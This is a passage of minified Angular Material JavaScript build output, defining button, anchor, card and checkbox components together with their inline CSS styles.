.mat-icon{line-height:24px}.mat-button-ripple.mat-ripple,.mat-button-focus-overlay{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none;border-radius:inherit}.mat-button-ripple.mat-ripple:not(:empty){transform:translateZ(0)}.mat-button-focus-overlay{opacity:0;transition:opacity 200ms cubic-bezier(0.35, 0, 0.25, 1),background-color 200ms cubic-bezier(0.35, 0, 0.25, 1)}._mat-animation-noopable .mat-button-focus-overlay{transition:none}.mat-button-ripple-round{border-radius:50%;z-index:1}.mat-button .mat-button-wrapper>*,.mat-flat-button .mat-button-wrapper>*,.mat-stroked-button .mat-button-wrapper>*,.mat-raised-button .mat-button-wrapper>*,.mat-icon-button .mat-button-wrapper>*,.mat-fab .mat-button-wrapper>*,.mat-mini-fab .mat-button-wrapper>*{vertical-align:middle}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button{display:inline-flex;justify-content:center;align-items:center;font-size:inherit;width:2.5em;height:2.5em}.mat-flat-button::before,.mat-raised-button::before,.mat-fab::before,.mat-mini-fab::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 2px) * -1)}.mat-stroked-button::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 3px) * -1)}.cdk-high-contrast-active .mat-button,.cdk-high-contrast-active .mat-flat-button,.cdk-high-contrast-active .mat-raised-button,.cdk-high-contrast-active .mat-icon-button,.cdk-high-contrast-active .mat-fab,.cdk-high-contrast-active .mat-mini-fab{outline:solid 1px}"],encapsulation:2,changeDetection:0}),H})(),C=(()=>{class H extends g{constructor(U,G,Q,oe){super(G,U,Q),this._ngZone=oe,this._haltDisabledEvents=Ce=>{this.disabled&&(Ce.preventDefault(),Ce.stopImmediatePropagation())}}ngAfterViewInit(){super.ngAfterViewInit(),this._ngZone?this._ngZone.runOutsideAngular(()=>{this._elementRef.nativeElement.addEventListener("click",this._haltDisabledEvents)}):this._elementRef.nativeElement.addEventListener("click",this._haltDisabledEvents)}ngOnDestroy(){super.ngOnDestroy(),this._elementRef.nativeElement.removeEventListener("click",this._haltDisabledEvents)}}return H.\\u0275fac=function(U){return new(U||H)(n.Y36(s.tE),n.Y36(n.SBq),n.Y36(n.QbO,8),n.Y36(n.R0b,8))},H.\\u0275cmp=n.Xpm({type:H,selectors:[["a","mat-button",""],["a","mat-raised-button",""],["a","mat-icon-button",""],["a","mat-fab",""],["a","mat-mini-fab",""],["a","mat-stroked-button",""],["a","mat-flat-button",""]],hostAttrs:[1,"mat-focus-indicator"],hostVars:7,hostBindings:function(U,G){2&U&&(n.uIk("tabindex",G.disabled?-1:G.tabIndex)("disabled",G.disabled||null)("aria-disabled",G.disabled.toString()),n.ekj("_mat-animation-noopable","NoopAnimations"===G._animationMode)("mat-button-disabled",G.disabled))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex"},exportAs:["matButton","matAnchor"],features:[n.qOj],attrs:u,ngContentSelectors:c,decls:4,vars:5,consts:[[1,"mat-button-wrapper"],["matRipple","",1,"mat-button-ripple",3,"matRippleDisabled","matRippleCentered","matRippleTrigger"],[1,"mat-button-focus-overlay"]],template:function(U,G){1&U&&(n.F$t(),n.TgZ(0,"span",0),n.Hsn(1),n.qZA(),n._UZ(2,"span",1)(3,"span",2)),2&U&&(n.xp6(2),n.ekj("mat-button-ripple-round",G.isRoundButton||G.isIconButton),n.Q6J("matRippleDisabled",G._isRippleDisabled())("matRippleCentered",G.isIconButton)("matRippleTrigger",G._getHostElement()))},dependencies:[a.wG],styles:[".mat-button .mat-button-focus-overlay,.mat-icon-button .mat-button-focus-overlay{opacity:0}.mat-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay,.mat-stroked-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay{opacity:.04}@media(hover: none){.mat-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay,.mat-stroked-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay{opacity:0}}.mat-button,.mat-icon-button,.mat-stroked-button,.mat-flat-button{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-button.mat-button-disabled,.mat-icon-button.mat-button-disabled,.mat-stroked-button.mat-button-disabled,.mat-flat-button.mat-button-disabled{cursor:default}.mat-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-button.cdk-program-focused .mat-button-focus-overlay,.mat-icon-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-icon-button.cdk-program-focused .mat-button-focus-overlay,.mat-stroked-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-stroked-button.cdk-program-focused .mat-button-focus-overlay,.mat-flat-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-flat-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-raised-button{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button.mat-button-disabled{cursor:default}.mat-raised-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-raised-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button._mat-animation-noopable{transition:none !important;animation:none !important}.mat-stroked-button{border:1px solid currentColor;padding:0 15px;line-height:34px}.mat-stroked-button .mat-button-ripple.mat-ripple,.mat-stroked-button .mat-button-focus-overlay{top:-1px;left:-1px;right:-1px;bottom:-1px}.mat-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:56px;height:56px;padding:0;flex-shrink:0}.mat-fab::-moz-focus-inner{border:0}.mat-fab.mat-button-disabled{cursor:default}.mat-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-fab::-moz-focus-inner{border:0}.mat-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-fab .mat-button-wrapper{padding:16px 0;display:inline-block;line-height:24px}.mat-mini-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:40px;height:40px;padding:0;flex-shrink:0}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab.mat-button-disabled{cursor:default}.mat-mini-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-mini-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-mini-fab .mat-button-wrapper{padding:8px 0;display:inline-block;line-height:24px}.mat-icon-button{padding:0;min-width:0;width:40px;height:40px;flex-shrink:0;line-height:40px;border-radius:50%}.mat-icon-button i,.mat-icon-button .mat-icon{line-height:24px}.mat-button-ripple.mat-ripple,.mat-button-focus-overlay{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none;border-radius:inherit}.mat-button-ripple.mat-ripple:not(:empty){transform:translateZ(0)}.mat-button-focus-overlay{opacity:0;transition:opacity 200ms cubic-bezier(0.35, 0, 0.25, 1),background-color 200ms cubic-bezier(0.35, 0, 0.25, 1)}._mat-animation-noopable .mat-button-focus-overlay{transition:none}.mat-button-ripple-round{border-radius:50%;z-index:1}.mat-button .mat-button-wrapper>*,.mat-flat-button .mat-button-wrapper>*,.mat-stroked-button .mat-button-wrapper>*,.mat-raised-button .mat-button-wrapper>*,.mat-icon-button .mat-button-wrapper>*,.mat-fab .mat-button-wrapper>*,.mat-mini-fab .mat-button-wrapper>*{vertical-align:middle}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button{display:inline-flex;justify-content:center;align-items:center;font-size:inherit;width:2.5em;height:2.5em}.mat-flat-button::before,.mat-raised-button::before,.mat-fab::before,.mat-mini-fab::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 2px) * -1)}.mat-stroked-button::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 3px) * -1)}.cdk-high-contrast-active .mat-button,.cdk-high-contrast-active .mat-flat-button,.cdk-high-contrast-active .mat-raised-button,.cdk-high-contrast-active .mat-icon-button,.cdk-high-contrast-active .mat-fab,.cdk-high-contrast-active .mat-mini-fab{outline:solid 1px}"],encapsulation:2,changeDetection:0}),H})(),z=(()=>{class H{}return H.\\u0275fac=function(U){return new(U||H)},H.\\u0275mod=n.oAB({type:H}),H.\\u0275inj=n.cJS({imports:[a.si,a.BQ,a.BQ]}),H})()},3546:(At,ae,d)=>{"use strict";d.d(ae,{$j:()=>C,G2:()=>j,QW:()=>ee,a8:()=>k,dk:()=>K,dn:()=>S,n5:()=>g});var n=d(4650),a=d(3238);const s=["*",[["mat-card-footer"]]],u=["*","mat-card-footer"],c=[[["","mat-card-avatar",""],["","matCardAvatar",""]],[["mat-card-title"],["mat-card-subtitle"],["","mat-card-title",""],["","mat-card-subtitle",""],["","matCardTitle",""],["","matCardSubtitle",""]],"*"],f=["[mat-card-avatar], [matCardAvatar]","mat-card-title, mat-card-subtitle,\\n [mat-card-title], [mat-card-subtitle],\\n [matCardTitle], [matCardSubtitle]","*"];let S=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["mat-card-content"],["","mat-card-content",""],["","matCardContent",""]],hostAttrs:[1,"mat-card-content"]}),q})(),g=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["mat-card-title"],["","mat-card-title",""],["","matCardTitle",""]],hostAttrs:[1,"mat-card-title"]}),q})(),C=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["mat-card-subtitle"],["","mat-card-subtitle",""],["","matCardSubtitle",""]],hostAttrs:[1,"mat-card-subtitle"]}),q})(),j=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["","mat-card-image",""],["","matCardImage",""]],hostAttrs:[1,"mat-card-image"]}),q})(),k=(()=>{class q{constructor(ce){this._animationMode=ce}}return q.\\u0275fac=function(ce){return new(ce||q)(n.Y36(n.QbO,8))},q.\\u0275cmp=n.Xpm({type:q,selectors:[["mat-card"]],hostAttrs:[1,"mat-card","mat-focus-indicator"],hostVars:2,hostBindings:function(ce,je){2&ce&&n.ekj("_mat-animation-noopable","NoopAnimations"===je._animationMode)},exportAs:["matCard"],ngContentSelectors:u,decls:2,vars:0,template:function(ce,je){1&ce&&(n.F$t(s),n.Hsn(0),n.Hsn(1,1))},styles:[".mat-card{transition:box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);display:block;position:relative;padding:16px;border-radius:4px}.mat-card._mat-animation-noopable{transition:none !important;animation:none !important}.mat-card>.mat-divider-horizontal{position:absolute;left:0;width:100%}[dir=rtl] .mat-card>.mat-divider-horizontal{left:auto;right:0}.mat-card>.mat-divider-horizontal.mat-divider-inset{position:static;margin:0}[dir=rtl] .mat-card>.mat-divider-horizontal.mat-divider-inset{margin-right:0}.cdk-high-contrast-active .mat-card{outline:solid 1px}.mat-card-actions,.mat-card-subtitle,.mat-card-content{display:block;margin-bottom:16px}.mat-card-title{display:block;margin-bottom:8px}.mat-card-actions{margin-left:-8px;margin-right:-8px;padding:8px 0}.mat-card-actions-align-end{display:flex;justify-content:flex-end}.mat-card-image{width:calc(100% + 32px);margin:0 -16px 16px -16px;display:block;overflow:hidden}.mat-card-image img{width:100%}.mat-card-footer{display:block;margin:0 -16px -16px -16px}.mat-card-actions .mat-button,.mat-card-actions .mat-raised-button,.mat-card-actions .mat-stroked-button{margin:0 8px}.mat-card-header{display:flex;flex-direction:row}.mat-card-header .mat-card-title{margin-bottom:12px}.mat-card-header-text{margin:0 16px}.mat-card-avatar{height:40px;width:40px;border-radius:50%;flex-shrink:0;object-fit:cover}.mat-card-title-group{display:flex;justify-content:space-between}.mat-card-sm-image{width:80px;height:80px}.mat-card-md-image{width:112px;height:112px}.mat-card-lg-image{width:152px;height:152px}.mat-card-xl-image{width:240px;height:240px;margin:-8px}.mat-card-title-group>.mat-card-xl-image{margin:-8px 0 8px}@media(max-width: 599px){.mat-card-title-group{margin:0}.mat-card-xl-image{margin-left:0;margin-right:0}}.mat-card>:first-child,.mat-card-content>:first-child{margin-top:0}.mat-card>:last-child:not(.mat-card-footer),.mat-card-content>:last-child:not(.mat-card-footer){margin-bottom:0}.mat-card-image:first-child{margin-top:-16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.mat-card>.mat-card-actions:last-child{margin-bottom:-8px;padding-bottom:0}.mat-card-actions:not(.mat-card-actions-align-end) .mat-button:first-child,.mat-card-actions:not(.mat-card-actions-align-end) .mat-raised-button:first-child,.mat-card-actions:not(.mat-card-actions-align-end) .mat-stroked-button:first-child{margin-left:0;margin-right:0}.mat-card-actions-align-end .mat-button:last-child,.mat-card-actions-align-end .mat-raised-button:last-child,.mat-card-actions-align-end .mat-stroked-button:last-child{margin-left:0;margin-right:0}.mat-card-title:not(:first-child),.mat-card-subtitle:not(:first-child){margin-top:-4px}.mat-card-header .mat-card-subtitle:not(:first-child){margin-top:-8px}.mat-card>.mat-card-xl-image:first-child{margin-top:-8px}.mat-card>.mat-card-xl-image:last-child{margin-bottom:-8px}"],encapsulation:2,changeDetection:0}),q})(),K=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275cmp=n.Xpm({type:q,selectors:[["mat-card-header"]],hostAttrs:[1,"mat-card-header"],ngContentSelectors:f,decls:4,vars:0,consts:[[1,"mat-card-header-text"]],template:function(ce,je){1&ce&&(n.F$t(c),n.Hsn(0),n.TgZ(1,"div",0),n.Hsn(2,1),n.qZA(),n.Hsn(3,2))},encapsulation:2,changeDetection:0}),q})(),ee=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=n.oAB({type:q}),q.\\u0275inj=n.cJS({imports:[a.BQ,a.BQ]}),q})()},6709:(At,ae,d)=>{"use strict";d.d(ae,{oG:()=>Ce,p9:()=>ee});var n=d(2687),a=d(1281),s=d(4650),u=d(4006),c=d(3238),f=d(9643);const E=["input"],_=["label"],S=function(q){return{enterDuration:q}},g=["*"],C=new s.OlP("mat-checkbox-default-options",{providedIn:"root",factory:z});function z(){return{color:"accent",clickAction:"check-indeterminate"}}let H=0;const j=z(),U={provide:u.JU,useExisting:(0,s.Gpc)(()=>Ce),multi:!0};class G{}const Q=(0,c.sb)((0,c.pj)((0,c.Kr)((0,c.Id)(class{constructor(q){this._elementRef=q}}))));let oe=(()=>{class q extends Q{constructor(ce,je,Ze,le,Oe,Qe,Ye){super(je),this._changeDetectorRef=Ze,this._ngZone=le,this._animationMode=Qe,this._options=Ye,this.ariaLabel="",this.ariaLabelledby=null,this.labelPosition="after",this.name=null,this.change=new s.vpe,this.indeterminateChange=new s.vpe,this._onTouched=()=>{},this._currentAnimationClass="",this._currentCheckState=0,this._controlValueAccessorChangeFn=()=>{},this._checked=!1,this._disabled=!1,this._indeterminate=!1,this._options=this._options||j,this.color=this.defaultColor=this._options.color||j.color,this.tabIndex=parseInt(Oe)||0,this.id=this._uniqueId=`${ce}${++H}`}get inputId(){return`${this.id||this._uniqueId}-input`}get required(){return this._required}set required(ce){this._required=(0,a.Ig)(ce)}ngAfterViewInit(){this._syncIndeterminate(this._indeterminate)}get checked(){return this._checked}set checked(ce){const je=(0,a.Ig)(ce);je!=this.checked&&(this._checked=je,this._changeDetectorRef.markForCheck())}get disabled(){return this._disabled}set disabled(ce){const je=(0,a.Ig)(ce);je!==this.disabled&&(this._disabled=je,this._changeDetectorRef.markForCheck())}get indeterminate(){return this._indeterminate}set indeterminate(ce){const je=ce!=this._indeterminate;this._indeterminate=(0,a.Ig)(ce),je&&(this._transitionCheckState(this._indeterminate?3:this.checked?1:2),this.indeterminateChange.emit(this._indeterminate)),this._syncIndeterminate(this._indeterminate)}_isRippleDisabled(){return this.disableRipple||this.disabled}_onLabelTextChange(){this._changeDetectorRef.detectChanges()}writeValue(ce){this.checked=!!ce}registerOnChange(ce){this._controlValueAccessorChangeFn=ce}registerOnTouched(ce){this._onTouched=ce}setDisabledState(ce){this.disabled=ce}_getAriaChecked(){return this.checked?"true":this.indeterminate?"mixed":"false"}_transitionCheckState(ce){let je=this._currentCheckState,Ze=this._getAnimationTargetElement();if(je!==ce&&Ze&&(this._currentAnimationClass&&Ze.classList.remove(this._currentAnimationClass),this._currentAnimationClass=this._getAnimationClassForCheckStateTransition(je,ce),this._currentCheckState=ce,this._currentAnimationClass.length>0)){Ze.classList.add(this._currentAnimationClass);const le=this._currentAnimationClass;this._ngZone.runOutsideAngular(()=>{setTimeout(()=>{Ze.classList.remove(le)},1e3)})}}_emitChangeEvent(){this._controlValueAccessorChangeFn(this.checked),this.change.emit(this._createChangeEvent(this.checked)),this._inputElement&&(this._inputElement.nativeElement.checked=this.checked)}toggle(){this.checked=!this.checked,this._controlValueAccessorChangeFn(this.checked)}_handleInputClick(){const ce=this._options?.clickAction;this.disabled||"noop"===ce?!this.disabled&&"noop"===ce&&(this._inputElement.nativeElement.checked=this.checked,this._inputElement.nativeElement.indeterminate=this.indeterminate):(this.indeterminate&&"check"!==ce&&Promise.resolve().then(()=>{this._indeterminate=!1,this.indeterminateChange.emit(this._indeterminate)}),this._checked=!this._checked,this._transitionCheckState(this._checked?1:2),this._emitChangeEvent())}_onInteractionEvent(ce){ce.stopPropagation()}_onBlur(){Promise.resolve().then(()=>{this._onTouched(),this._changeDetectorRef.markForCheck()})}_getAnimationClassForCheckStateTransition(ce,je){if("NoopAnimations"===this._animationMode)return"";switch(ce){case 0:if(1===je)return this._animationClasses.uncheckedToChecked;if(3==je)return this._checked?this._animationClasses.checkedToIndeterminate:this._animationClasses.uncheckedToIndeterminate;break;case 2:return 1===je?this._animationClasses.uncheckedToChecked:this._animationClasses.uncheckedToIndeterminate;case 1:return 2===je?this._animationClasses.checkedToUnchecked:this._animationClasses.checkedToIndeterminate;case 3:return 1===je?this._animationClasses.indeterminateToChecked:this._animationClasses.indeterminateToUnchecked}return""}_syncIndeterminate(ce){const je=this._inputElement;je&&(je.nativeElement.indeterminate=ce)}}return q.\\u0275fac=function(ce){s.$Z()},q.\\u0275dir=s.lG2({type:q,viewQuery:function(ce,je){if(1&ce&&(s.Gf(E,5),s.Gf(_,5),s.Gf(c.wG,5)),2&ce){let Ze;s.iGM(Ze=s.CRH())&&(je._inputElement=Ze.first),s.iGM(Ze=s.CRH())&&(je._labelElement=Ze.first),s.iGM(Ze=s.CRH())&&(je.ripple=Ze.first)}},inputs:{ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],id:"id",required:"required",labelPosition:"labelPosition",name:"name",value:"value",checked:"checked",disabled:"disabled",indeterminate:"indeterminate"},outputs:{change:"change",indeterminateChange:"indeterminateChange"},features:[s.qOj]}),q})(),Ce=(()=>{class q extends oe{constructor(ce,je,Ze,le,Oe,Qe,Ye){super("mat-checkbox-",ce,je,le,Oe,Qe,Ye),this._focusMonitor=Ze,this._animationClasses={uncheckedToChecked:"mat-checkbox-anim-unchecked-checked",uncheckedToIndeterminate:"mat-checkbox-anim-unchecked-indeterminate",checkedToUnchecked:"mat-checkbox-anim-checked-unchecked",checkedToIndeterminate:"mat-checkbox-anim-checked-indeterminate",indeterminateToChecked:"mat-checkbox-anim-indeterminate-checked",indeterminateToUnchecked:"mat-checkbox-anim-indeterminate-unchecked"}}_createChangeEvent(ce){const je=new G;return je.source=this,je.checked=ce,je}_getAnimationTargetElement(){return this._elementRef.nativeElement}ngAfterViewInit(){super.ngAfterViewInit(),this._focusMonitor.monitor(this._elementRef,!0).subscribe(ce=>{ce||this._onBlur()})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef)}_onInputClick(ce){ce.stopPropagation(),super._handleInputClick()}focus(ce,je){ce?this._focusMonitor.focusVia(this._inputElement,ce,je):this._inputElement.nativeElement.focus(je)}}return q.\\u0275fac=function(ce){return new(ce||q)(s.Y36(s.SBq),s.Y36(s.sBO),s.Y36(n.tE),s.Y36(s.R0b),s.$8M("tabindex"),s.Y36(s.QbO,8),s.Y36(C,8))},q.\\u0275cmp=s.Xpm({type:q,selectors:[["mat-checkbox"]],hostAttrs:[1,"mat-checkbox"],hostVars:14,hostBindings:function(ce,je){2&ce&&(s.Ikx("id",je.id),s.uIk("tabindex",null)("aria-label",null)("aria-labelledby",null),s.ekj("mat-checkbox-indeterminate",je.indeterminate)("mat-checkbox-checked",je.checked)("mat-checkbox-disabled",je.disabled)("mat-checkbox-label-before","before"==je.labelPosition)("_mat-animation-noopable","NoopAnimations"===je._animationMode))},inputs:{disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex"},exportAs:["matCheckbox"],features:[s._Bn([U]),s.qOj],ngContentSelectors:g,decls:17,vars:21,consts:[[1,"mat-checkbox-layout"],["label",""],[1,"mat-checkbox-inner-container"],["type","checkbox",1,"mat-checkbox-input","cdk-visually-hidden",3,"id","required","checked","disabled","tabIndex","change","click"],["input",""],["matRipple","",1,"mat-checkbox-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleRadius","matRippleCentered","matRippleAnimation"],[1,"mat-ripple-element","mat-checkbox-persistent-ripple"],[1,"mat-checkbox-frame"],[1,"mat-checkbox-background"],["version","1.1","focusable","false","viewBox","0 0 24 24","aria-hidden","true",1,"mat-checkbox-checkmark"],["fill","none","stroke","white","d","M4.1,12.7 9,17.6 20.3,6.3",1,"mat-checkbox-checkmark-path"],[1,"mat-checkbox-mixedmark"],[1,"mat-checkbox-label",3,"cdkObserveContent"],["checkboxLabel",""],[2,"display","none"]],template:function(ce,je){if(1&ce&&(s.F$t(),s.TgZ(0,"label",0,1)(2,"span",2)(3,"input",3,4),s.NdJ("change",function(le){return je._onInteractionEvent(le)})("click",function(le){return je._onInputClick(le)}),s.qZA(),s.TgZ(5,"span",5),s._UZ(6,"span",6),s.qZA(),s._UZ(7,"span",7),s.TgZ(8,"span",8),s.O4$(),s.TgZ(9,"svg",9),s._UZ(10,"path",10),s.qZA(),s.kcU(),s._UZ(11,"span",11),s.qZA()(),s.TgZ(12,"span",12,13),s.NdJ("cdkObserveContent",function(){return je._onLabelTextChange()}),s.TgZ(14,"span",14),s._uU(15,"\\xa0"),s.qZA(),s.Hsn(16),s.qZA()()),2&ce){const Ze=s.MAs(1),le=s.MAs(13);s.uIk("for",je.inputId),s.xp6(2),s.ekj("mat-checkbox-inner-container-no-side-margin",!le.textContent||!le.textContent.trim()),s.xp6(1),s.Q6J("id",je.inputId)("required",je.required)("checked",je.checked)("disabled",je.disabled)("tabIndex",je.tabIndex),s.uIk("value",je.value)("name",je.name)("aria-label",je.ariaLabel||null)("aria-labelledby",je.ariaLabelledby)("aria-checked",je._getAriaChecked())("aria-describedby",je.ariaDescribedby),s.xp6(2),s.Q6J("matRippleTrigger",Ze)("matRippleDisabled",je._isRippleDisabled())("matRippleRadius",20)("matRippleCentered",!0)("matRippleAnimation",s.VKq(19,S,"NoopAnimations"===je._animationMode?0:150))}},dependencies:[c.wG,f.wD],styles:[\'@keyframes mat-checkbox-fade-in-background{0%{opacity:0}50%{opacity:1}}@keyframes mat-checkbox-fade-out-background{0%,50%{opacity:1}100%{opacity:0}}@keyframes mat-checkbox-unchecked-checked-checkmark-path{0%,50%{stroke-dashoffset:22.910259}50%{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1)}100%{stroke-dashoffset:0}}@keyframes mat-checkbox-unchecked-indeterminate-mixedmark{0%,68.2%{transform:scaleX(0)}68.2%{animation-timing-function:cubic-bezier(0, 0, 0, 1)}100%{transform:scaleX(1)}}@keyframes mat-checkbox-checked-unchecked-checkmark-path{from{animation-timing-function:cubic-bezier(0.4, 0, 1, 1);stroke-dashoffset:0}to{stroke-dashoffset:-22.910259}}@keyframes mat-checkbox-checked-indeterminate-checkmark{from{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1);opacity:1;transform:rotate(0deg)}to{opacity:0;transform:rotate(45deg)}}@keyframes mat-checkbox-indeterminate-checked-checkmark{from{animation-timing-function:cubic-bezier(0.14, 0, 0, 1);opacity:0;transform:rotate(45deg)}to{opacity:1;transform:rotate(360deg)}}@keyframes mat-checkbox-checked-indeterminate-mixedmark{from{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1);opacity:0;transform:rotate(-45deg)}to{opacity:1;transform:rotate(0deg)}}@keyframes mat-checkbox-indeterminate-checked-mixedmark{from{animation-timing-function:cubic-bezier(0.14, 0, 0, 1);opacity:1;transform:rotate(0deg)}to{opacity:0;transform:rotate(315deg)}}@keyframes mat-checkbox-indeterminate-unchecked-mixedmark{0%{animation-timing-function:linear;opacity:1;transform:scaleX(1)}32.8%,100%{opacity:0;transform:scaleX(0)}}.mat-checkbox-background,.mat-checkbox-frame{top:0;left:0;right:0;bottom:0;position:absolute;border-radius:2px;box-sizing:border-box;pointer-events:none}.mat-checkbox{display:inline-block;transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);cursor:pointer;-webkit-tap-highlight-color:rgba(0,0,0,0);position:relative}.mat-checkbox._mat-animation-noopable{transition:none !important;animation:none !important}.mat-checkbox .mat-ripple-element:not(.mat-checkbox-persistent-ripple){opacity:.16}.mat-checkbox .mat-checkbox-ripple{position:absolute;left:calc(50% - 20px);top:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-checkbox-layout{-webkit-user-select:none;user-select:none;cursor:inherit;align-items:baseline;vertical-align:middle;display:inline-flex;white-space:nowrap}.mat-checkbox-label{-webkit-user-select:auto;user-select:auto}.mat-checkbox-inner-container{display:inline-block;height:16px;line-height:0;margin:auto;margin-right:8px;order:0;position:relative;vertical-align:middle;white-space:nowrap;width:16px;flex-shrink:0}[dir=rtl] .mat-checkbox-inner-container{margin-left:8px;margin-right:auto}.mat-checkbox-inner-container-no-side-margin{margin-left:0;margin-right:0}.mat-checkbox-frame{background-color:rgba(0,0,0,0);transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1);border-width:2px;border-style:solid}._mat-animation-noopable .mat-checkbox-frame{transition:none}.mat-checkbox-background{align-items:center;display:inline-flex;justify-content:center;transition:background-color 90ms cubic-bezier(0, 0, 0.2, 0.1),opacity 90ms cubic-bezier(0, 0, 0.2, 0.1);-webkit-print-color-adjust:exact;color-adjust:exact}._mat-animation-noopable .mat-checkbox-background{transition:none}.cdk-high-contrast-active .mat-checkbox .mat-checkbox-background{background:none}.mat-checkbox-persistent-ripple{display:block;width:100%;height:100%;transform:none}.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:.04}.mat-checkbox.cdk-keyboard-focused .mat-checkbox-persistent-ripple{opacity:.12}.mat-checkbox-persistent-ripple,.mat-checkbox.mat-checkbox-disabled .mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:0}@media(hover: none){.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{display:none}}.mat-checkbox-checkmark{top:0;left:0;right:0;bottom:0;position:absolute;width:100%}.mat-checkbox-checkmark-path{stroke-dashoffset:22.910259;stroke-dasharray:22.910259;stroke-width:2.1333333333px}.cdk-high-contrast-black-on-white .mat-checkbox-checkmark-path{stroke:#000 !important}.mat-checkbox-mixedmark{width:calc(100% - 6px);height:2px;opacity:0;transform:scaleX(0) rotate(0deg);border-radius:2px}.cdk-high-contrast-active .mat-checkbox-mixedmark{height:0;border-top:solid 2px;margin-top:2px}.mat-checkbox-label-before 